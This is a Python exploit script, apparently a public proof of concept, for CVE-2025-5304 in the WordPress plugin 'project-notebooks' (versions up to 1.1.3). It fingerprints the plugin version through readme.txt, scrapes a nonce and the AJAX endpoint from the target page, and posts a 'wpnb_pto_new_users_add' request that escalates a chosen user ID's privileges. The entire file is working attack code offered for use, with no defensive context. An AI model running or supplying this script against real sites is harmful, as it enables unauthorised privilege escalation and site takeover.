#!/usr/bin/env python3 # -*- coding: utf-8 -*- # By Khaled ALenazi ( Nxploited ) import argparse import random import re import sys import time import requests from packaging.version import Version, InvalidVersion def nxploited_headers(cookie=None): agents = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Nxploited", "Mozilla/5.0 (X11; Linux x86_64) Nxploited", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Nxploited", "Nxploited/1.0 (compatible;)", "Nxploited/2.0 (Special Edition)", "Mozilla/5.0 Nxploited" ] h = {"User-Agent": random.choice(agents) + " | Nxploited", "X-Nxploited": "Nxploited"} if cookie: h["Cookie"] = cookie return h def nxploited_normalize_url(url): url = url.strip() if not re.match(r"^https?://", url, re.I): url = "http://" + url return re.sub(r"/+$", "", url) def nxploited_fetch_version(base_url, cookie=None, timeout=12): readme_url = f"{base_url}/wp-content/plugins/project-notebooks/readme.txt" try: r = requests.get(readme_url, headers=nxploited_headers(cookie), timeout=timeout, allow_redirects=True) text = r.text or "" m = re.search(r"Stable\s*tag:\s*([0-9][0-9.\-a-zA-Z]*)", text, re.I) if m: version = m.group(1).strip() print(f"[+] Nxploited: Detected version from readme.txt → {version}") return version, True print(f"[-] Nxploited: Could not parse version from {readme_url}") return None, False except Exception as e: print(f"[!] Nxploited: Version fetch error: {e}") return None, False def nxploited_is_vulnerable(version_str): if not version_str: return False try: return Version(version_str) <= Version("1.1.3") except InvalidVersion: return version_str.strip() in {"1.1.3", "1.1.2", "1.1.1", "1.1.0", "1.0.9", "1.0.8", "1.0.7", "1.0.6", "1.0.5", "1.0.4", "1.0.3", "1.0.2", "1.0.1", "1.0.0"} def nxploited_extract_nonce_ajax(base_url, cookie=None, timeout=12): try: r = requests.get(base_url, headers=nxploited_headers(cookie), timeout=timeout, allow_redirects=True) html = r.text or "" m_nonce = re.search(r'"nonce"\s*:\s*"([^"]+)"', html) m_ajax = re.search(r'"ajax_url"\s*:\s*"([^"]+)"', html) nonce = m_nonce.group(1) if m_nonce else None ajax_url = m_ajax.group(1).replace("\\/", "/") if m_ajax else f"{base_url}/wp-admin/admin-ajax.php" if nonce: print(f"[+] Nxploited: Nonce found: {nonce}") else: print("[-] Nxploited: Nonce not found in page source.") print(f"[+] Nxploited: AJAX URL: {ajax_url}") return nonce, ajax_url except Exception as e: print(f"[!] Nxploited: Extraction error: {e}") return None, f"{base_url}/wp-admin/admin-ajax.php" def nxploited_exploit(ajax_url, uid, nonce, cookie=None, timeout=12): try: data = {"action": "wpnb_pto_new_users_add", "nonce": nonce, "ids": str(uid), "user_type": "2", "Nxploited": "Nxploited"} print("[*] Nxploited: Exploiting… silent wait 3 seconds.") time.sleep(3) r = requests.post(ajax_url, headers=nxploited_headers(cookie), data=data, timeout=timeout, allow_redirects=True) print(f"[+] Nxploited: HTTP {r.status_code}") body = r.text or "" print(body[:1500]) return r.status_code, body except Exception as e: print(f"[!] Nxploited: Exploit error: {e}") return None, None def main(): parser = argparse.ArgumentParser(description="CVE-2025-5304 (Nxploited Edition)") parser.add_argument("-u", "--url", required=True, help="Target WordPress site URL (e.g. http://127.0.0.1/wordpress)") parser.add_argument("-id", "--id", required=True, help="User ID to escalate (e.g. 28)") parser.add_argument("-c", "--cookie", help="Optional Cookie header value for session-bound nonces") parser.add_argument("--skip-version", action="store_true", default=False, help="Skip readme.txt version check") args = parser.parse_args() base_url = nxploited_normalize_url(args.url) uid = args.id cookie = args.cookie detected_version = None if not args.skip_version: print("Please wait....") detected_version, _ = nxploited_fetch_version(base_url, cookie=cookie) if detected_version: vuln = nxploited_is_vulnerable(detected_version) state = "vulnerable" if vuln else "not confirmed vulnerable" print(f"[+] Nxploited: Version {detected_version} → {state}") else: print("[!] Nxploited: Proceeding without confirmed version (use --skip-version to suppress).") nonce, ajax_url = nxploited_extract_nonce_ajax(base_url, cookie=cookie) if not nonce: print("[!] Nxploited: Abort: nonce not found.") sys.exit(1) if detected_version: print(f"[i] Nxploited: Target version during exploitation → {detected_version}") status, body = nxploited_exploit(ajax_url, uid, nonce, cookie=cookie) if status is None: sys.exit(2) if "Busted!" in (body or ""): print("[!] Nxploited: Server replied 'Busted!' (nonce/session mismatch). If nonce was taken from a logged-in page, pass the same wordpress_logged_in cookie via -c.") sys.exit(3) if __name__ == "__main__": main()